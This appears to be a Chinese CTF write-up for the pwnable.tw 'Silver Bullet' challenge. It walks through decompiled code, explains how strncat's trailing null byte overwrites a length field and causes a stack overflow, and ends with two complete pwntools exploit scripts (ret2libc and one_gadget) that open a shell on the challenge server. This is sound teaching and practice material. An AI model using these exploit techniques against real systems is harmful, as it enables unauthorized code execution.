IDA看一下.
int __cdecl main(int argc, const char **argv, const char **envp) { int choice; // eax Werewolf wolf; // [esp+0h] [ebp-3Ch] bullet silver_bullet; // [esp+8h] [ebp-34h] init_proc(); silver_bullet.length = 0; memset(&silver_bullet, 0, 0x30u); wolf.HP = 0x7FFFFFFF; wolf.name = "Gin"; while ( 1 ) { while ( 1 ) { while ( 1 ) { while ( 1 ) { menu(); choice = read_int(); if ( choice != 2 ) break; power_up(&silver_bullet); } if ( choice > 2 ) break; if ( choice != 1 ) goto LABEL_16; create_bullet(&silver_bullet); } if ( choice == 3 ) break; if ( choice == 4 ) { puts("Don't give up !"); exit(0); } LABEL_16: puts("Invalid choice"); } if ( beat(&silver_bullet, &wolf) ) return 0; puts("Give me more power !!"); } }
大概意思是程序要求我们用银子弹杀死狼人,分别提供了创建子弹,增强威力,和开枪这三个函数,这里我创建了一个狼人信息的结构体,如下:
struct Werewolf { int HP; char *name; };
接着进入create_bullet函数看一下:
int __cdecl create_bullet(bullet *silver_bullet) { int length; // ST08_4 if ( silver_bullet->description[0] ) return puts("You have been created the Bullet !"); printf("Give me your description of bullet :"); read_input(silver_bullet, 0x30u); length = strlen(silver_bullet->description); printf("Your power is : %u\n", length); silver_bullet->length = length; return puts("Good luck !!"); }
子弹只能创建一次,而且这个函数并不存在漏洞,不过我们可以得知子弹的信息结构,如下:
struct bullet { char description[48]; int length; };
接着是power_up函数:
int __cdecl power_up(bullet *silver_bullet) { bullet fake_bullet; // [esp+0h] [ebp-34h] fake_bullet.length = 0; memset(&fake_bullet, 0, 0x30u); if ( !silver_bullet->description[0] ) return puts("You need create the bullet first !"); if ( silver_bullet->length > 47u ) return puts("You can't power up any more !"); printf("Give me your another description of bullet :"); read_input(&fake_bullet, 0x30 - silver_bullet->length); strncat(silver_bullet->description, fake_bullet.description, 0x30 - silver_bullet->length); fake_bullet.length = strlen(fake_bullet.description) + silver_bullet->length; printf("Your new power is : %u\n", fake_bullet.length); silver_bullet->length = fake_bullet.length; return puts("Enjoy it !"); }
首先判断子弹中的字符串长度是否大于47,不然就直接返回.假设我们的长度并没有超过47,那么程序会读取48-length长度的字节,然后用strncat函数将两个字符拼接在一起,之后更新子弹的长度信息.
乍一看可能很安全,因为使用了strncat而不是strcat,但是strcat在拼接完之后会在末尾加一个'\x00',根据保存子弹信息的结构体可知,我们在description输入48个字节后,会有一个\x00溢出到保存长度的length中.乍一看好像也没啥,才一个字节而已,但是不要忘记我们的计算机采用的是小端序,溢出的一个字节正好将length的值改成了0.溢出之后还会更新我们的length为0+fake_bullet->length.
signed int __cdecl beat(bullet *silver_bullet, Werewolf *wolf) { signed int result; // eax if ( silver_bullet->description[0] ) { puts(">----------- Werewolf -----------<"); printf(" + NAME : %s\n", wolf->name); printf(" + HP : %d\n", wolf->HP); puts(">--------------------------------<"); puts("Try to beat it ....."); usleep(0xF4240u); wolf->HP -= silver_bullet->length; if ( wolf->HP <= 0 ) { puts("Oh ! You win !!"); result = 1; } else { puts("Sorry ... It still alive !!"); result = 0; } } else { puts("You need create the bullet first !"); result = 0; } return result; }
beat函数首先用狼人的生命值减去子弹的长度,判断大小选择返回0或者1.main函数是用exit(0)来退出的,并不能执行return从而控制eip,所以我们在构造完栈上的数据之后要调用beat函数劫持控制流.
利用方法
唯一的溢出点在power_up函数之中的strncat函数,所以我们在创建子弹的时候不能超过0x2F,为了后面构造方便一点,我们创建一个0x2F长度的子弹.接着调用power_up函数,这个时候我们只能输入一个字节的内容,接着strncat从字符串之后的\x00所在处复制我们的输入,末尾会补一个\x00,此时,子弹的长度以及被覆盖为了0.但是还会对长度进行更新,0+fake_bullet->length = 1.这样,我们如果再调用一次power_up函数,那么我们就可以在48个字节+'\x01'之后输入2F个字节了,这就造成了栈溢出.
这个时候有两种解法,一种是比较麻烦的,先覆盖返回地址为puts函数来打印puts@got的值,接着计算出libc加载的基地址以及system函数和bin/sh字符串的地址,最后再覆盖返回地址为system函数来getshell.
另一种相对简单一点,我们可以考虑one_gadget:
[0] % one_gadget libc.so 0x3a819 execve("/bin/sh", esp+0x34, environ) constraints: esi is the GOT address of libc [esp+0x34] == NULL 0x5f065 execl("/bin/sh", eax) constraints: esi is the GOT address of libc eax == NULL 0x5f066 execl("/bin/sh", [esp]) constraints: esi is the GOT address of libc [esp] == NULL
exp-re2libc
#!/usr/bin/env python2 # -*- coding: utf-8 -*- from PwnContext.core import * local = False # Set up pwntools for the correct architecture exe = './' + 'silver_bullet' elf = context.binary = ELF(exe) #don't forget to change it host = args.HOST or 'chall.pwnable.tw' port = int(args.PORT or 10103) #don't forget to change it #ctx.binary = './' + 'silver_bullet' ctx.binary = exe libc = args.LIBC or 'libc.so' elf_libc = ELF(libc) ctx.debug_remote_libc = True ctx.remote_libc = libc ctx.custom_lib_dir = '/home/dylan/ctfs/pwnable_tw/Silver_Bullet' if local: context.log_level = 'debug' try: io = ctx.start() except Exception as e: print(e.args) print("It can't work,may be it can't load the remote libc!") print("It will load the local process") io = process(exe) else: io = remote(host,port) #=========================================================== # EXPLOIT GOES HERE #=========================================================== # Arch: i386-32-little # RELRO: Full RELRO # Stack: No canary found # NX: NX enabled # PIE: No PIE (0x8048000) def create(description): io.recvuntil('Your choice :') io.sendline('1') io.recvuntil('Give me your description of bullet :') io.send(description) def power_up(description): io.recvuntil('Your choice :') io.sendline('2') io.recvuntil('Give me your another description of bullet :') io.send(description) def beat(): io.recvuntil('Your choice :') io.sendline('3') def exp(): create('a'*0x2f) power_up('a') payload = '\xff'*3 + p32(0xdeadbeef) + p32(elf.symbols['puts']) + p32(elf.symbols['main']) + p32(elf.got['puts']) power_up(payload) beat() io.recvuntil('Oh ! You win !!\n') puts_got = u32(io.recv(4)) log.success('puts@got = ' + hex(puts_got)) libc_base = puts_got - elf_libc.symbols['puts'] log.success('libc_base = ' + hex(libc_base)) system_addr = libc_base + elf_libc.symbols['system'] log.success('system_addr = ' + hex(system_addr)) bin_sh_addr = libc_base + elf_libc.search('/bin/sh').next() log.success('bin_sh_addr = ' + hex(bin_sh_addr)) create('a'*0x2f) power_up('a') # payload = '\xff'*3 + p32(0xdeadbeef) + p32(libc_base+0x5f065) payload = '\xff'*3 + p32(0xdeadbeef) + p32(libc_base+0x0003A940) + 'a'*4 + p32(libc_base+0x00158e8b) power_up(payload) beat() if __name__ == '__main__': exp() io.interactive()
exp-one_gadget
#!/usr/bin/env python2 # -*- coding: utf-8 -*- from PwnContext.core import * local = False # Set up pwntools for the correct architecture exe = './' + 'silver_bullet' elf = context.binary = ELF(exe) #don't forget to change it host = args.HOST or 'chall.pwnable.tw' port = int(args.PORT or 10103) #don't forget to change it #ctx.binary = './' + 'silver_bullet' ctx.binary = exe libc = args.LIBC or 'libc.so' elf_libc = ELF(libc) ctx.debug_remote_libc = True ctx.remote_libc = libc ctx.custom_lib_dir = '/home/dylan/ctfs/pwnable_tw/Silver_Bullet' if local: context.log_level = 'debug' try: io = ctx.start() except Exception as e: print(e.args) print("It can't work,may be it can't load the remote libc!") print("It will load the local process") io = process(exe) else: io = remote(host,port) #=========================================================== # EXPLOIT GOES HERE #=========================================================== # Arch: i386-32-little # RELRO: Full RELRO # Stack: No canary found # NX: NX enabled # PIE: No PIE (0x8048000) def create(description): io.recvuntil('Your choice :') io.sendline('1') io.recvuntil('Give me your description of bullet :') io.send(description) def power_up(description): io.recvuntil('Your choice :') io.sendline('2') io.recvuntil('Give me your another description of bullet :') io.send(description) def beat(): io.recvuntil('Your choice :') io.sendline('3') def exp(): create('a'*0x2f) power_up('a') payload = '\xff'*3 + p32(0xdeadbeef) + p32(elf.symbols['puts']) + p32(elf.symbols['main']) + p32(elf.got['puts']) power_up(payload) beat() io.recvuntil('Oh ! You win !!\n') puts_got = u32(io.recv(4)) log.success('puts@got = ' + hex(puts_got)) libc_base = puts_got - elf_libc.symbols['puts'] log.success('libc_base = ' + hex(libc_base)) system_addr = libc_base + elf_libc.symbols['system'] log.success('system_addr = ' + hex(system_addr)) bin_sh_addr = libc_base + elf_libc.search('/bin/sh').next() log.success('bin_sh_addr = ' + hex(bin_sh_addr)) create('a'*0x2f) power_up('a') payload = '\xff'*3 + p32(0xdeadbeef) + p32(libc_base+0x5f066) #payload = '\xff'*3 + p32(0xdeadbeef) + p32(libc_base+0x0003A940) + 'a'*4 + p32(libc_base+0x00158e8b) power_up(payload) beat() if __name__ == '__main__': exp() io.interactive()